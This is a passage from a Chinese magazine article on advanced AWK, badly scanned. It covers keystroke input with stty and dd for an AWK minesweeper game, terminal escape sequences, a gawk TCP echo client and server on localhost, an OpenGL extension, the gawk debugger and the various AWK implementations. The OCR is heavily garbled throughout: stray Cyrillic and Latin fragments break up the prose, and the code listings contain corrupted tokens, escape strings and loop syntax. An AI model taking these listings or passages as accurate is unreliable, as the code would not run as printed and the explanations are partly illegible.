el 所 以 在 按 下 (Enter) 键 以 前 ， m 另外 在 终端 中 有 Echo 这 个 功能 。 这 个 功 
会 被 输送 到 终端 的 程序 中 的 。 因 为 这 能 可 以 将 输入 的 字符 显示 在 终端 中 ， 这 样 我 们 


diia 的 存在 ， 在 输入 有 误 的 时 候 可 ium SJ RT LUE Л. Л АА TRA, 38 8E TH DL 
修正 ， 大 部 分 情况 下 是 很 方便 的 。 但 是 在 像 本 下 也 是 一 项 很 方便 的 功能 。 但 是 如 条 将 输入 的 
次 这 样 需要 实时 处 理 按键 输入 的 情况 下 ， 这 个 按键 都 显示 在 游戏 画面 中 的 话 ， 那 么 画面 就 会 


#2 AwkMine 的 操作 方法 Уу 82 执行 get_key.awk 
jz 键 操 作 $ awk -f get_key.awk 
向 左 移动 光标 You hit [ h 1. 
向 下 移动 光标 ddr 
向 上 移动 光标 You hit [ 
NE 向 右 移 动 光标 You hit [ 
g 移动 光标 至 最 首 行 ee d 
G 移动 光标 至 末 行 You hit С 
0 移动 光标 至 行 首 E Ë 
š 移动 光标 至 行 未 . 
空格 打开 光标 所 在 的 单元 
f 在 光标 处 放下 旗帜 / 拔 出 旗帜 (开关 操作 ) 
q 退出 AwkMine 


甩 代 码 清单 1 get key.awk 


1:2!/bin/awk -f 

2:function getkey( dd cmd, key) € 

3: 4 使 用 dd 命令 获取 用 户 按 下 的 按键 

4 dd cmd = "dd bs=1 count=1 2>/dev/nuLL' 
Буз dd cmd | getline key 

6: close(dd_cmd) # 获取 按键 后 关闭 

f: return key 

8:7) 


9: 
10:BEGIN < 
14: system("stty raw -echo") # 关闭 终端 的 Buffering 和 Echo 
12: 
15: for IDE 
is key = getkey # 获取 按 下 的 按键 
16: # 如 果 是 无 法 显示 的 字符 ， 则 在 这 里 将 它们 转换 为 字符 串 
des if (key == "An" || key == "\г") key = "Enter" 
18: else if (key == " ") key = "Space" 
19: else if (key == "\t") key = "Tab" 
20: else if (key == "\033") key = "Escape" 
21: 
22: print "You hit L" key, "I." 显示 按 下 的 按键 
23: # 因为 终端 的 环境 发 生 了 变化 ， 所 以 这 里 输出 Ar 使 光标 移动 到 行 首 
24: printf "Nr" 
25: 
26: if (key = "q') exit 0 # 按 下 的 按键 如 是 q 键 则 退出 
27: } 
28:} 
29: 
30:END < 
31: # 在 终止 前 恢复 终端 的 环境 (开启 Buffering 和 Echo) 
32: system("stty cooked echo") 
55: print "exit..." 
S4: 
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特辑 ] 从 现在 开始 sed/AWK 再 入 门 


AR ZE. ___ ин Y i T AN 

се 团 糟 ， 所 以 在 AwkMine 中 ， 它 也 十 分 СЕ) иш | 
SR 

在 这 里 , 为 了 关闭 Buffering M Echo, 3€ AwkMine 必须 能 够 在 终端 的 任意 位 置 显示 

们 可 以 使 用 stty 命 令 。 在 程序 开始 时 使 用 字符 ， 并 且 可 以 自由 地 移动 光标 才 行 。 我 们 可 

system 国 数 调用 stty 命 令 后 ， 便 可 关闭 终端 的 以 癌 终 端 发 送 被 称 为 “ 转 义 序列 ”的 终端 控制 


Buffering 和 Echo。 在 stty 命 令 中 添加 raw 选 项 ， 字符 串 来 实现 这 个 功能 。 具 体 如 何 问 终端 发 送 

可 将 Buffering 关 闭 ; 添加 -echo 选 项 ， 则 可 以 ШЕ? 其 实 只 要 人 简单 地 使 用 printf 进 行 打印 就 可 

将 Echo 关闭 。 以 了 。 将 字符 串 打 印 出 来 ， 其 实 就 是 将 字符 串 
之 后 ,通过 管道 ,使 用 dd 命令 来 实际 获 发 送 到 了 终 问 。 让 我 们 实际 来 使 用 看 看 。 

得 用 户 的 按键 输入 。dd 是 一 个 将 数据 直接 从 标 在 终端 中 执行 


准 输入 输送 到 标准 输出 的 命令 。 因 此 ， 通 过 管 
道 将 dd 命令 的 标准 输出 直接 传递 给 AWK 之 后 ， 
我 们 就 可 以 在 AWK 中 获取 用 户 的 输入 了 。 由 之 后 ， 终 端 并 没有 显示 "033[2J"， 取 而 代 之 的 
于 1 个 按键 输入 是 1 个 字 节 ， 所 以 在 第 4 行 中 ， 是 画面 被 清空 了 。 其 实 这 是 因为 033[2 覆 字符 
我 们 添加 了 参数 bs=1 count=1， 这 样 就 会 只 传 串 就 是 将 画面 清空 的 转 义 序列 。 除 此 以 外 ， 还 
递 1 字 的 数据 。 另 外 ， 因 为 dd 的 其 他 输出 会 有 可 以 指定 字符 及 背景 颜色 、 属 性 ( 粗 体 或 者 
弄 乱 画面 ， 所 以 我 们 将 标准 错误 输出 丢弃 。 下 划 线 ) 以 及 移动 光标 的 转 义 序列 。 表 3 中 列 
我 们 在 程序 退出 之 前 再 次 调用 stty， 恢 复 举 了 几 个 AWK 使 用 转 义 序列 的 例子 2 

终端 的 环境 。 在 第 26 行 的 BEGIN 区 块 中 调用 eo Mj. 二 

exit 后 ,看 起 来 END 区 块 中 的 处 理 就 被 跳 过 了 ， 


$ awk 'BEGIN(printf "\033Ľ2J"}' 


但 事实 上 AWK 在 执行 exit 时 会 自己 调用 END 限于 篇 幅 的 原因 , 这 里 没有 办 法 刊登 
区 块 中 的 内 容 9, AwkMine 的 全 部 源码 ， 其 他 的 示例 代码 请 读者 
另外 ,在 AWK 出 现 异常 终止 等 时 ，END 自行 去 图 灵 社 区 本 杂志 的 支持 页 面 下 载 O, 

区 块 内 的 ssty 命 令 没 有 被 执行 ， 终端 便 会 变 得 AwkMine 在 获取 用 户 按键 输入 之 前 ， 一 直 


十 分 奇怪 。 这 时 请 先 按 下 (cu)-(J)8£, 之 后 输 处 于 等 待 状态 ， 但 是 我 们 也 可 以 在 按键 输入 中 
人 “stty sane”， 之 后 再 次 按 下 (cul) -(J) E, dy 加 入 超时 的 相关 功能 。 如 果 加 入 了 超时 的 相关 
入 的 内 容 可 能 并 不 会 显示 在 终端 中 ， 但 不 论 如 计算 ， 我 们 就 可 以 为 AwkMine 加 入 计时 功能 。 


何 请 先 输入 上 面 的 内 容 。 这 样 终端 便 会 恢复 成 通过 合理 运用 本 节 的 内 容 , 使 用 AWK 实 
可 以 正常 使 用 的 状态 。 


( 本 例 中 之 所 以 全 部 使 用 printf， 是 因为 在 转 义 序列 之 后 不 
想 输出 多 余 的 换行 符 。 将 ORS 设 定 为 空 字符 串 的 话 ， 即 


@ 如 果 在 END 区 块 中 调用 exit， 则 并 不 会 再 次 调用 END 区 使 使 用 print， 也 不 会 输出 换行 符 。 
块 中 的 内 容 ， 所 以 不 用 担心 会 出 现 无 限 循环 。 (2) FIF http://www.ituring.com.cn/book/1270, 点击“ 随 书 下 载 ”。 


У 2:3 ” AWK 使 用 转 义 序列 的 例子 
转 义 序列 的 使 用 方法 示例 
printf "\033[2J" 清空 画面 

printf "NOS3LZd;XdH", r, c 将 光标 移动 到 第 r 行 第 c 列 
printf "NOSSLZdA", n 将 光标 向 上 移动 n 行 
printf "NOS5L01m" 
printf "NO35LA41m" 
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现 vi 那样 的 编辑 器 或 者 VisiCalc 那 样 的 表 计 算 
软件 都 是 可 能 的 。 


使 用 gawk 进行 
网 络 编程 


GNU 3 Ж 5 AWK GNU АМК ( gawk ) 可 
以 使 用 Socket 进 行 网 络 通信 。 本 节 将 向 大 家 讲 
解 如 何 使 用 gawk 进行 网 络 编程 。 
GI 编 写 简单 的 客户 端 /服务 端 系统 

那么 接 下 来 我 们 就 用 gawk 来 编写 一 个 使 
ЊН TCP/IP 进行 通信 的 简单 的 客户 端 / 服 务 端 
系统 。 

这 里 编写 的 客户 端 和 服务 端 分 别 按照 下 面 
的 方式 运作 。 客 户 问 将 从 标准 输入 中 读 取 的 内 
容 以 行为 单位 原样 发 送 给 服务 端 。 服 务 端 在 收 
到 的 字符 串 前 加 上 "-"， 并 显示 在 标准 输出 中 。 
代码 清单 2 的 serverawk 是 服务 端的 代码 ， 代 
码 清单 3 的 clientawk 是 客户 端的 代码 。 

实际 使 用 时 , 我 们 需要 打开 两 个 终端 。 首 先 ， 
在 一 个 终端 上 执行 serverawk 后 ， 会 看 到 服务 
端 会 显示 "listening.…"， 并 进入 等 待 状 态 。 之 
后 ， 在 另 一 个 终端 上 执行 clientawk， 并 在 终 
问 中 输入 合适 的 字符 串 。 最 后 输入 换行 ， 将 字 


У (55688 2 serverawk 


1:Z2!/usr/bin/gawk -f 
2:BEGIN < 


3 net = "/inet/tcp/8080/0/0" 
4 

5 ТОРС 

6: print "Listening..." 
T: 

8: while (net |& getline recv > 0) 
9: print " — " recv 
10: 
11: close(net) 
12: } 
15:3 


У (©5883 client.awk 
1:Z2!/usr/bin/gawk -f 


2 
3 
4: # 发 送 目的 地 为 Locahost 的 8080 端 口 
5 
6 


rz m S |] A 人 кн 


E ISAR EANA, ERES IG 855 i 
print $0 |& "/inet/tcp/0/Localhost/8080" 


| имичи m” x A M— Le 


高 手 教 你 用 sed/Awk idu 
RAAWK RE ence 


符 串 发 送 到 服务 端 ， 这 时 字符 串 将 显示 在 执行 
server.awk 的 终端 上 。 使 用 - D) 输入 EOF 
(Епа Of File ) 之 后 ， 客 户 闻 将 断 开 连接 ， 服 务 
端 将 恢复 等 待 状态 ， 再 次 局 动 客 户 端 的 话 便 会 
进行 一 次 新 的 通信 。 图 3、 图 4 是 执行 时 的 样子 。 
最 后 ， 请 使 用 ct 有 -[G] 终 止 服务 端 。 


@ gawk 网 络 功能 的 使 用 方法 


现在 我 们 参考 server.awk fll client.awk, [u] 
大 家 详细 讲解 gawk 的 网 络 功能 。 


双向 管道 

ТЕ serverawk 和 clientawk 中 ， 我 们 使 用 了 
通常 在 AWK 程序 中 见 不 到 的 |& 运 算 符 。 

这 个 |&& 称 为 双 癌 管道 ， 是 gawk 中 独 有 的 
运算 人生。 就 如 它 的 名 字 一 样 ， 该 运算 符 被 用 于 
和 外 部 命令 使 用 管道 进行 双 癌 通信 。 使 用 方法 
和 通 津 的 管道 运算 符 | 一 样 ， 使 用 print、printf 
将 数据 写 和 对方 的 标准 输入 ,使 用 getline 从 对 
方 的 标准 输出 获得 数据 。 与 管道 运算 符 有 所 不 
同 的 是 ， 双 回 管 道 运算 符 可 以 对 一 条 命令 同时 
进行 谈 和 写 两 种 操作 。 

图 $ 是 使 用 双 回 管道 和 外 部 命令 通信 的 例 
子 。 由 于 AWK 无 法 进行 很 精确 的 计算 ， 因此 


# 等 待 端 口 为 8080 


# 接收 一 行 XU 
# 将 接收 到 的 字符 串 显示 在 终端 


# 天 闭 连 接 ， 等 待 接收 下 一 个 客户 端 


| 
um 
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从 现在 开始 sed/AWK 再 入 门 


UNIX 工 程 师 的 喜好 
特辑 1 见 在 


у з 进行 通信 (服务 端 ) 


$ gawk -f server.awk 
Listening... 

— Hello. 

- 这 东西 会 动 ! 

- _AWK 是 个 好 东西 


Listening... 


OER 
d 
ББА = | 的 字符 串 


“2 服务 端 再 次 进入 等 


寺 状 态 


-O seq 命 令 的 输出 显示 在 这 里 


Listening... 


^C (EH (Ctrl) — (C) ЕЙ SS Ù 


$ 


у” 4 进行 通信 (客户 端 ) 


$ gawk -f client.awk 


i 全 (3) 启动 客户 端 
Hello. < 二 4 输入 字符 串 之 后 输入 换行 


这 东西 会 动 | 
AWK 是 个 好 东西 


^D OEH (Ctrl) – 
< 二 (这 次 发 送 seqfüp Bp 


$ seq 5 | gawk -f client.awk 
$ 


有 图 5 (FX ESSI Dan 通信 


$ awk 'BEGIN € 
num = 2 ^ 200 
print num 


cmd - "bc" 
print "2 ^ 200" |& cmd 
cmd |& getline num 
print num 

y! 


(D) i$ 输入 EOF， 结 束 通 信 


令 的 输出 


将 数据 写 入 到 bc 的 标准 输入 中 
从 bc 的 标准 输出 读 取 数据 


1606938044258990275541962092341162602522203000000000000000000 < 一 使 用 awk 没有 办 法 计算 得 足够 精确 
1606958044258990275541962092541162602522202993782792855501576 <— 8 bc 的 话 可 以 正确 地 计算 出 结果 


$ 


这 里 通过 和 bc 命令 进行 通信 , 来 从 bc 命令 中 


获取 精确 的 计算 结 


特殊 文件 

双 回 管道 的 通信 对 象 ， 除 了 外 部 命令 之 外 ， 
还 可 以 指定 成 被 称 为 — 的 字符 串 ， 
之 后 便 可 以 使 用 Socket 进 行 通信 。 特 丈 文件 在 
server.awk 的 第 3 行 和 client.awk 的 第 5 行 中 有 
所 使 用 ， 是 由 正 斜 杠 分 割 的 字段 所 组 成 的 字符 
EB, WU PI. 


/net-type/protocol/localport/hostname/ 


remoteport 


接 下 来 向 大 家 讲解 一 下 特殊 文件 中 各 个 字 
段 的 意义 。 


net-type 


-35 X A "inet4". "inet6", "int" 中 的 任 一 
ФАР. 

“ 若 指 定 为 "inet4"， 则 使 用 IPv4 进 行 通 信 ; 

若 指定 为 "inet6"， 则 使 用 IPv6 进 行 通信 。 

“关于 指定 为 "inet" 时 的 行为 ， 在 hostname 
HIA O, 


£ 


£ 


© 在 4.0.0 版 本 以 前 的 awk 中 并 没有 IPv6， 所 以 net-type 只 
可 以 指定 为 "inet"。 当 然 也 就 使 用 IPv4 进 行 通信 。 
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protocol 
“指定 使 用 的 协议 。 
* 指定 为 "tcp" 或 者 "udp" 中 的 任意 一 项 协议 。 


localport 
“指定 服务 端 程序 等 待 的 端口 号 。 
“客户 端 程序 的 话 指定 为 "0"。 


hostname 

“客户 端 程序 中 指定 为 连接 目的 地 的 主机 名 。 

“服务 端 程序 的 话 指定 为 "0"。 

“主机 名 可 以 指定 为 PV4 地 址 (例如 127.0.0.1 六 
IPV6 地 址 (例如 0:0:0:0:0:0:0:1 )、 域 名 ( 例 
如 localhost、gihyo.jp ) 中 的 任意 一 项 。 

' net-type 4& Ж X "inet" В, 7& J£ hostname 
指定 内 容 的 不 同 ， 会 有 如 下 行为 。 

=> 指定 为 IJPv4 地 址 一 使 用 IPv4 

> 指定 为 IJPv6 地 址 一 使 用 IPv6 

> 指定 为 域名 一 使 用 系统 默认 的 类 型 


remoteport 
“客户 端 程序 中 指定 为 连接 目的 地 的 端口 号 。 
“服务 端 程序 的 话 指定 为 "0"。 


言 息 的 收 友 

在 网 络 通 信 中 ， 使 用 print 或 者 printf 回 双 
问 管 道 写 入 数据 ， 则 信息 就 会 被 发 送 给 对 方 ; 
fit FH getline 从 双 癌 管道 中 读 取 数据 ， 则 会 接收 
到 信息 。getline 在 连接 中 断 时 将 返回 0。 


通信 结 

JE close 函数 中 指定 特殊 文件 , 便 可 将 连 
er Br 

万 外 , EA E aÑ HB 38] ЛН close PR ЭН], 
gawk 终 止 时 也 会 目 动 地 进行 close 处 理 。 因 此 ， 
在 client.awk 中 并 没有 调用 close РАЖ. 


Goa = 


gawk 的 网 络 功能 中 ,因为 对 较为 底层 的 
Socket 函 数 进行 了 封装 ， 所 以 没有 办 法 进行 十 
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分 精确 的 控制 ， 但 是 也 正 因为 如 此 ， 我 们 可 以 
十 分 轻松 地 编写 网 络 应 用 程序 。 

网 络 上 有 着 许 许 多 多 的 使 用 了 gawk 网络 
功能 的 应 用 程序 , MU Web Iki iro E A E 
ТЛ Д ERRA Pd J ВЕНУ АЕ, diee 
使 用 gawk 网 络 功能 。 特 别 是 在 处 理 以 字符 串 
为 主 的 协议 时 ， 灵 活 应 用 gawk 强 大 的 字符 串 
操作 功能 是 十 分 重要 的 。 当 然 ，gawk 在 以 二 
进 制 为 主 的 通信 中 也 可 以 使 用 。 在 GitHub 上 ， 
有 人 公开 了 和 名 叫 gnu-awk-youtube-downloader 
的 视频 下 载 帮 ， 笔 者 最 初 看 到 时 感到 十 分 震惊 。 


使 用 AWK 进行 
3D 编程 

gawk 可 以 使 用 C 语 言 进行 “动态 的 扩展 ”。 
也 就 是 说 ， 我 们 可 以 在 AWK 的 代码 中 调用 使 
用 C 语 言 编写 的 函数 ©@。 有 了 这 项 功能 , 可 以 说 
我 们 就 能 够 使 用 gawk 做 任何 事 。 

这 里 以 笔者 所 写 的 gawk 的 OpenGL 扩展 
awkGL 为 例 进 行 介绍 。awkGL 是 一 个 可 以 在 
gawk 上 使 用 OpenGL 进行 2D/3D 图 形 编 程 的 扩 
展 ， 具 有 窗口 控制 、 键 盘 以 及 鼠标 的 输入 事件 
处 理 、 光 影 效果 等 OpenGL (DL GLUT? ) rh 
的 基本 功能 。 使 用 awkGL， 我 们 可 以 在 awk 中 
实现 物理 模拟 大 、3D 游戏 等 程序 。 男 外 ， 配 
tt gawk HJ OpenCV H“ Jë OpenCV-AWK °, 在 
gawk 上 开发 AR( 增 强 现 实 技术 ) 应 用 程序 也 是 
可 能 的 。 

代码 清单 4 是 一 个 使 用 awkGL 进行 3D 编 
程 的 示例 代码 。 该 程序 会 显示 一 个 添加 了 光影 
效果 的 茶壶 ， 执 行 结 果 如 图 6 所 示 。 茶 壶 在 窗 
口中 显示 ， 按 下 键盘 上 的 [dj 键 即 可 关闭 窗口 。 


© 更 加 准确 地 说 ， 这 是 使 用 动态 加 载 功 能 加 载 动 态 库 ， 将 
导出 函数 添加 至 gawk 中 的 一 项 功能 。 另 外 ,在 gawk 的 
文档 中 并 没有 这 个 功能 的 专用 名 ， 所 以 笔者 在 这 里 将 其 
称 为 “C 扩 展 ”。 

CD 在 使 用 OpenGL 进行 和 Windows 操 作 系 统 交 互 等 依赖 系 
统 环境 的 处 理 时 的 一 个 补充 库 。 


可 以 使 用 Web 摄 像 头 读 取 动 画 ， 实 现 人 脸 误 别 。 
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CB ЄВ 
想 要 开发 C 扩 展 的 朋友 ， 请 参见 gawk 的 Уу 6 使 用 awkGL 显示 茶壶 
用 户 文档 咏 以 及 gawk 源 代码 中 的 示例 代码 。 MIS 


寺 别 是 在 看 过 了 示例 代码 后 ， 我 们 应 该 立刻 就 
可 以 开始 编写 简单 的 扩展 。 本 功能 除了 可 以 问 
gawk 添 加 功能 以 外 ， 还 可 用 于 在 gawk 中 执行 
使 用 C 语 言 所 写 的 测试 。 


(9) http://www.gnu.org/software/gawk/manual/gawk.html 


想 要 下 载 gawk 源 代码 的 话 ， 可 以 在 http;//www.gnu.org/ 
prep/ftp.html 中 选择 自己 附近 的 镜像 站 点 进行 下 载 。 示 
例 代码 在 源 代码 根 目 录 中 的 extension 目录 中 。 


有 代码 清单 4 ”使 用 awkGL 显 示 茶 谈 的 代码 


:BEGIN € 
extension("./awkgl.so", "dlload") # 加 载 awkGL 


1 
2 
3 
4: SetWindowPosSize(250, 50, 500, 500) 
5: glutCreateWindow("Lighting Teapot") 
6: gLClearColor(16, 16, 16) 

7 

8 

9 


gl Enable C"LIGHTING") # 开启 光影 效果 


: glLight(0, "SPECULAR", 1.0, 1.0, 1.0, 1.0) 
10: glLight(0, "DIFFUSE", 0.8, 0.8, 0.8, 1.0) 
11: glLight(0, "AMBIENT", 0.4, 0.4, 0.4, 1.0) 
12: glLight(0, "POSITION", 100, 500, 0, 0) 
15: glLight(0, "DIRECTION", ©, 0, 0) 
14: 
15: glutMainLoop() 
16:} 
17: 
18:function keyboard(key, x, у) € # 如 果 有 按键 被 按 下 ， 则 该 函数 会 被 调用 
19: switch (key) < 
20: case "q": # Yz F q 键 则 终止 程序 
21: print “exit: ~ 
22: exit 
25: } 
24: } 
25: 
26:function reshape(width, height) + 
аг: glViewport(0, 0, width, height) 
28: glMatrixMode("PROJECTION") 
29: glLoadIdentity() 
30: gluPerspective(45, width / height, 1, 2000) 
51: gluLookAt(190.0, 190.0, -100.0, 0.0, 20.0, 0.0, 0.0, 1.0, 0.0) 
32: glMatrixMode("MODELVIEW") 
5527 
54: 
55:function display() € 
56: glLoadIdentity() 
5: DrawAxes(110) # 绘制 X-Y-—-Z R 
38: glMaterial("BOTH", "SHININESS", 128) 
39: glMaterial ("BOTH", "SPECULAR", 1.0, 1.0, 1.0, 1.0) 
40: glMaterial "BOTH", "DIFFUSE", 0.8, 0.8, 0.8, 1.0) 
41: glMaterial "BOTH", "AMBIENT", 0.5, 0.5, 0.5, 1.0) 
42: glutSolidTeapot(50) # 绘制 茶壶 
43:3} 


/0 
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awk 的 调试 器 


4.1.0 以 后 的 版 本 中 , 在 局 动 时 添加 -D 选 
项 ， 便 可 以 进入 AWK 的 调试 器 。 这 个 调试 器 
是 和 GDB 连 接 的 命令 行 调 试 器 ， 调 试 命令 的 
名 字 以 及 行为 和 GDB 都 十 分 相似 (图 7)。 但 
是 在 命令 行 中 的 操作 效率 实在 是 不 太 高 ， 笔 
者 编写 了 一 个 可 以 在 Vim 上 使 用 的 名 叫 AVD 
( AWK Visual Debugger ) 的 调试 紫 前 端 。 图 8 
是 在 AVD E Step 执 行 AWK 程序 的 样子 。 第 6 
行 作 为 现在 执行 的 Step， 被 高 亮 了 出 来 。 第 2 
行 左 侧 显 示 的 "@" 表 示 断 点 。 并 且 ， 由 于 光标 
处 于 第 5 行 的 sum 变量 上 ， 因 此 在 画面 的 最 下 


У 7 gawk 的 调试 器 模式 


$ cat -n tst.awk 
BEGIN < 
print "start" 
for (120; 1 < 10; i++) 
sum += i 
avg = sum / 10 
print avg 
print "end" 
8 > 
$ gawk -D -f tst.awk 
gawk> 显示 提示 符 
gawk> break 2 
Breakpoint 1 set at file ‘tst.awk', Line 2 
gawk> run 
Starting program: 
Stopping in BEGIN ... 
Breakpoint 1, main() at `tst.awk':2 
print "start" 
gawk> step 


在 调试 器 模式 下 启动 gawk 


< 二 使 用 run 命令 开始 执行 


高 手 教 你 用 sed/AWK 
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Ji b go T "sum = 45”。 在 与 执行 代码 分 隔 开 
来 的 下 方面 面 中 ， 显 示 了 AWK 程序 的 输出 结 
果 (“sum”“45”)。 


QD 在 vim 中 称 为 命令 行 窗口 。 


У 8 ”使 用 AVD 进行 Step 执 行 


Ше (=) - GVIM 


avd out] 6 @main -> f0:main 


< = 45 
SUM = 4) 


一 显示 作为 调试 对 象 的 AWK 脚 本 的 行 号 


< 使 用 break 命 令 在 第 2 行 设置 断 点 
< 成 功 设置 断 点 


二 停止 在 了 第 2 行 的 断 点 处 


使 用 step 命 令 进行 step 执 行 


start 二 第 2 行 的 print 语 句 的 输出 


3 for (120; 1 < 10; 1++) 


ЕСД 一 如 果 在 不 输入 任何 命令 的 情况 下 按 下 回 车 键 ， 便 会 重复 之 前 的 命令 (这 里 是 step) 


4 sum += i 

gawk> 

3 for (i = 0; 1 < 10; i++) 
gawk> 

4 sum += i 

gawk> break 7 

Breakpoint 2 set at file `tst.awk', Line 7 
gawk> continue 


EE T (Ji PAINTER 


< 使 用 continue 命 令 一 口气 执行 到 第 7 {5 


4.5 < 二 第 6 行 的 print 语 句 的 输出 


Breakpoint 2, main() at ‘tst.awk':7 
7 print "end" 

gawk> print avg 

avg = 4.5 

gawk> continue 


二 停止 在 了 第 7 行 的 断 点 处 


< 一 使 用 pri nt 命令 确认 变量 avg 的 值 
< 一 avg 的 值 被 显示 了 出 来 


< 一 使 用 cont inue 命令 执行 到 最 后 


end 二 第 7 行 的 print 语 句 的 输出 


Program exited normally with exit value: 0 
gawk> quit 
$ 


程序 正常 结束 
二 使 用 quit 命 令 退 出 调试 器 


ГІ 
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从 现在 开始 sed/AWK 再 入 门 


UNIX 工程 师 的 喜好 
地 辑 ] 


这 样 一 来 ， 我 们 使 用 AWK 进行 大 规模 应 
用 开发 的 环境 就 准备 好 了 。 


а 各 式 各 样 的 AWK 实现 


除了 本 次 介绍 的 gawk 以 外 ， 还 存在 许多 
AWK 的 实现 。 这 里 就 其 中 的 几 个 进行 一 下 介绍 。 


* nawk 

首先 是 Kernighan 等 原创 的 一 个 实现 
nawk 思 。nawk 现 在 还 有 人 在 维护 ， 并 且 是 很 多 
BSD 系 操作 系统 所 采用 的 默认 的 AWK KHO, 
nawk 是 New АМК 的 简称 ， 要 说 具体 new 在 什 
么 地 方 ( 新 在 哪里 )， 其 实在 刚刚 诞生 的 时 候 ， 
AWK 中 是 没有 用 户 定义 函数 以 及 动态 正则 表 
达 式 的 ， 其 功能 和 现在 的 AWK 相 比 差 了 许多 。 
之 后 Kernighan 等 基于 贝尔 实验 室内 外 的 需求 ， 
将 AWK 修 改 成 了 接近 现在 的 模样 ， 这 就 是 被 
称 为 “全 新 的 AWK” 的 New AWK, 现在 当 我 
们 单独 提 及 AWK 时 ,往往 指 的 都 是 这 个 新 的 
AWK. ЇН) AWK SE ER оазуК ( Old AWK 或 者 
说 是 Original АМК ), Æ Solaris 中 ， 现 在 还 存 
在 oawk 人 命令。nawk 现 在 被 称 为 One True AWK 
(唯一 的 正统 AWK )。 


° gawk 

再 次 向 大 家 介绍 一 下 GNU АМК ( gawk P, 
gawk 就 如 它 的 名 字 所 示 , 是 GNU 的 AWK 实 现 ， 
是 现在 开发 最 活跃 的 AWK 实现 。 除 了 本 次 介 
绍 的 功能 以 外 ， 它 还 添加 了 诸如 正则 表达 式 运 
算 符 、switch 语 法 以 及 Profiler 等 各 式 各 样 的 
功能 。 绝 大 多 数 Linux 发 行 版 中 都 将 其 作为 默 
认 的 AWK 实现, 使 用 其 他 实现 的 发 行 版 中 一 
般 都 提供 了 可 以 下 载 的 官方 Package。gawk 在 
Linux 以 外 的 其 他 许多 环境 中 都 可 以 运行 。 根 


02) http://www.cs.princeton.edu/~bwk/btl.mirror 


(3) 本 节 中 所 说 的 “默认 的 AWK 实 现 ” 是 指 “ 各 个 操作 系统 
在 进行 标准 安装 时 ，awk 命 令 所 执行 的 程序 ”。 
http://www.gnu.org/software/gawk 
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据 笔 者 目前 的 调查 ， 这 是 唯一 
字 节 文字 处 理 的 AW 玫 实现。 


个 官方 文 持 多 


* mawk 

与 nawk ЖП gawk — FE T 418 44 BJ SC XI, 
还 有 Michael Brennan JF 发 的 Michael's AWK 
( mawk )® , mawk E: Debian £ Linux 系统 默认 采 
用 的 AWK 实 现 ， 虽 然 不 像 gawk 那 样 ， 但 也 提 
供 了 一 些 扩 展 功能 。 但 是 mawk 最 大 的 特点 还 
是 在 于 它 的 高 速 执行 引擎 。mawk 的 执行 引擎 
X H MEER 28 ( Stack Machine ) 进 行 实现 ,执行 
速度 十 分 快 。 实 际 上 ,最 近 的 gawk 版 本 也 将 
百 接 执行 抽象 树 的 方法 和 蔡 换 为 了 堆栈 硕 。 但 是 
尽管 如 此 ， 速 度 还 是 不 及 mawk。 根 据 处 理 内 
容 的 不 同 ， 甚 至 会 有 数 倍 以 上 的 差距 。mawk 
官方 是 不 文 持 多 字 节 文字 处 理 的 ， 但 木村 海 一 
AT mawk JF f — X % Ч mawk MBCS 的 面 
|] Windows 环 境 的 派生 实现 ， 该 实现 可 以 处 理 
多 字 市 文字 。 男 外 ,为 了 可 以 将 mawk 骨 入 其 
他 应 用 程序 中 ， 还 存在 一 款 名 叫 libmawk АУК 
ERMO, 


e Jawk 

Jawk 是 运行 在 JVM E АЈ АМК for JAVA 
(Jawk) XP, (EMH Jawk, 我 们 可 以 在 Awk 代 
码 中 调用 Java 代 码 。 


* lawk 

还 存在 一 款 名 为 lawk 的 面向 LLYM AWK 
编译 器 的 AWK KIG, 目前 好 像 还 在 开发 的 过 
程 中 。lawk 本身 只 是 以 实验 为 目的 的 ， 它 的 目 
标 并 不 是 实际 投入 使 用 。 


* POSIX AWK 
这 里 向 大 家 讲解 一 下 POSIX АМК, 38 3E 


(e ) 


http://www.invisible-island.net/mawk 


(© ) 


http://repo.hu/projects/libmawk 


< ) 


http://jawk.sourceforge.net 


(бо ) 


http://lawk.sourceforge.net 
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E POSIX AWK Ж POSIX Е J — +` АМК ЗЕ 
现 标 准 ， 所 以 并 不 存在 名 叫 POSIX AWK 的 实 
Ji, POSIX AWK 的 标准 基于 nawk， 但 它 并 不 
是 nawk。 在 本 方 中 , 我 们 提 到 了 “gawk 各 式 
各 样 的 功能 扩展 "， 这 里 的 “扩展 ”的 意思 就 是 
Xf POSIX AWK 进行 了 扩展 。 也 就 是 说 POSIX 
AWK Æ “RERI AWK” -~ gawk 在 启动 时 添加 -- 
posiX 选 项 后 , "E BU ÍT 2J ЕЛ 2: MI POSIX AWK 
#0 

由 于 AWK 语 言 标准 在 不 同 语言 的 实现 中 
有 很 好 的 兼容 性 以 及 实用 性 ,并且 有 着 很 长 
的 历史 ， 因 此 还 存在 其 他 无 数 的 实现 。 商 用 
UNIX 中 有 时 会 采用 三 商 独 有 目 开 发 的 AWK 实 现 。 
尽管 如 此 ， 因 为 各 个 AWK 语言 标准 的 基本 功 
能 几乎 没有 任何 区 别 ， 所 以 只 要 没有 使 用 实现 
中 单独 添加 的 扩展 ,那么 AWK 代 码 将 具有 很 
高 的 移植 性 。 实 现 中 独 目 添加 的 扩展 ， 一 般 都 
会 注意 不 和 现存 的 语法 相 神 突 ， 几 乎 所 有 的 实 
现 文档 中 也 都 会 标明 和 POSIX AWK Д № памк 
的 差异 。 另 外 ，AWK 的 标准 在 nawk 开 发 出 来 
之 后 几乎 没有 什么 变化 ， 所 以 以 前 编写 的 代码 
同样 可 以 运行 在 现在 的 环境 中 。 

AWK 代 码 之 所 以 有 看 如 此 之 高 的 移植 性 ， 
可 能 很 大 程度 上 要 归功 于 AWK 是 UNIX 的 基 
本 工具 之 一 。 因 为 AWK 也 被 使 用 在 启动 脚本 
等 内 核 部 分 ,所 以 不 能 进行 太 夸张 的 语法 改 
变 。 另 外 ， 又 因为 它 是 基本 工具 ， 所 以 存在 着 
POSIX 标 准 也 是 重要 原因 之 一 。 当 然 ， 我们 也 
不 能 忘记 ，AWK 本 身 的 设计 也 是 十 分 优秀 的 。 

这 么 看 来 ， 想 必 以 后 AWK 的 语法 也 不 会 
发 生 很 大 的 变化 ， 所 以 现在 掌握 了 AWK， 以 
后 在 各 种 各 样 的 环境 中 就 可 以 将 它 派 上 用 场 。 


ge AWK BFD 


我 们 在 前 文中 提 到 了 gawk 和 mawk 都 使 用 
堆栈 硕 。 它 们 都 可 以 像 下 面 这 样 ， 将 堆栈 机 各 
的 学 节 公 导 出 。 

265 gawk, ТЕЛА aJ] 31 12510 -D 3639 ; 
